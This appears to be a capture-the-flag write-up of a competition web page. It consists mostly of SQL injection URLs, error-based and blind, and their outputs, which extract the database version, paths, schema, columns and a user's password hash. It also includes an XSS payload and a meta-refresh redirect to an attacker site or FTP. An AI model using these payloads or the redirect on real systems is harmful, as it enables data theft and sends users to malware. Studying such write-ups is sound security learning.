The page not only contained SQL injection but also XSS, as you will see below in the tests I conducted.
The level of the competition was quite high because the administrators were very knowledgeable about SQL Injection attacks. Their filters blocked many keywords (e.g. LOAD_FILE,INTO etc.)
https://pwnzilla.secnews.gr/pz2.php?id=`id` < (select db())0509
//SELECT command denied to user “n3wdb0wn3r2'@'localhost” for table “user”
https://pwnzilla.secnews.gr/pz2.php?id=`id` < (select concat_ws(0x3a,user,password) from mysql.user)0509
//Duplicate column name “5.5.43-0+deb7u1′
https://pwnzilla.secnews.gr/pz2.php?id=`id` const(version(),1))a)0509
//Return more than one row
https://pwnzilla.secnews.gr/pz2.php?id=`id` 0509
//HTML injection – Frontend Attack
https://pwnzilla.secnews.gr/pz2.php?id=`id` < (if(3>1,`
//HTTP Response MITM attack
In the following attack, if the url is changed, the user can be redirected to the hacker's site or download a malicious program from FTP.
Edit Response
<meta http-equiv=»refresh» content=»0; url=<Attacker Site or FTP> » />
https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if((SELECT count(*) FROM information_schema.schemata) > 2,1,2))0511
https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if((SELECT count(*) FROM information_schema.tables) > 41,1,2))0511
//database version 5.5.43
https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,1,1)>4,1,2))0511
https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,3,1)>4,1,2))0511
https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,5,1)>3,1,2))0511
https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,6,1)>2,1,2))0511
//Data dir XPATH syntax error: “/var/lib/mysql/”
https://pwnzilla.secnews.gr/pz2.php?id=`id` select @@datadir))))),3))0513
//XPATH syntax error: “e85dd3-f97b-11e4-bf21-406186cbf1“ UUID [Web Server MAC Address]
https://pwnzilla.secnews.gr/pz2.php?id=`id` uuid()))))),3))0513
//XSS Attack
https://pwnzilla.secnews.gr/pz2.php?id=`id` select concat_ws(char(95),CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62),@@hostname)))))),3))0514
//Password 23b59b78056e436fbfaeeb63ed03a443 MD5 hash >>> pwner
https://pwnzilla.secnews.gr/pz2.php?id=`id` select group_concat(concat_ws(0x3a,substr(password,1,10),password)) from users))))),3))0518
//Column_name [offset 480-483]
Here I played a little with the offset
https://pwnzilla.secnews.gr/pz2.php?id=`id` select group_concat(concat_ws(0x3a,substr(password,1,2),(SELECT concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 1 offset 480))) from users))))),3))0518
XPATH syntax error: “:L02DB:pages:id”
XPATH syntax error: “:L02DB:Pages:Title”
XPATH syntax error: “:L02DB:pages:Content”
XPATH syntax error: “:L02DB:pages:Author”
//Column_name [offset 484-486]
XPATH syntax error: “:L02DB:users:id”
XPATH syntax error: “:L02DB:users:username”
XPATH syntax error: “:L02DB:users:password”
Information about Advanced SQL Injection can be read here:
Python Script
Now regarding the python script you can download it from
here. It is something very simple that I am already improving by adapting it to object-oriented. Create a wordlist, open the program with a notepad at the "Open File" point, correct the Path. See in wireshark what happens when you run the script.
Run -> ./mysql_pass.py
Inquiry
How could you use Metasploit or Hydra to perform such an attack directly on MYSQL? You can respond in the comments if you want.